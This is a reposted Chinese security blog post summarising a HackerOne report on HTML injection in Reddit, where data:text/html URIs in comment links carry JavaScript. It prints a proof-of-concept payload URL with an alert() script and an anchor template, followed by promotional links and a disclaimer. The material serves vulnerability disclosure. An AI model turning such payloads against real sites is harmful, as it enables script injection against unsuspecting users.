文章总结： 文档展示Reddit平台存在HTML注入漏洞，攻击者可通过评论中的data:URI链接持久化存储恶意JavaScript代码和JSON数据，实现脚本注入与非法内容分发。文章以具体代码示例说明攻击手法，并引用HackerOne漏洞报告佐证，建议开发者加强输入过滤与输出编码防护。 综合评分： 68 文章分类： WEB安全,漏洞分析,渗透测试,实战经验,威胁情报

html注入导致的高危

原创

h1 h1

迪哥讲事

2026年4月2日 10:00 四川

html注入导致的高危

正文

JavaScript 存储与分发证明

该示例展示了如何在 Reddit 上存储和分发潜在危险的 JavaScript 代码。

这些代码可以通过评论中的链接持久化，例如：

<a href='插入下面的URL'> Now it persists</a>

#插入的数据如下
https://s.reddit.com/WELCOME.TO.REDDITS.EXPERIMENTAL.FEATURE.RIGHT.CLICK.AND.GO.TO:data:text/html,%3Cscript%3Ealert('You%20could%20have%20been%20hacked%20with%20more%20advances%20js%20')%3C/script%3E%22
（后面为示例 URL）

JSON 数据存储与分发证明 该示例展示了如何在 Reddit 上存储和分发 JSON 数据，例如非法链接或数据交换。

这些数据同样可以通过评论中的链接持久化，例如：

<a href='插入下面的URL'> Now it persists</a>

#插入的数据见参考

（后面为示例 JSON 数据 URL）

参考

https://hackerone.com/reports/1719588

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

往期回顾

#

如何利用ai辅助挖漏洞

#

如何在移动端抓包-下

#

如何绕过签名校验

#

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips‍

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：迪哥讲事 h1 h1《html注入导致的高危》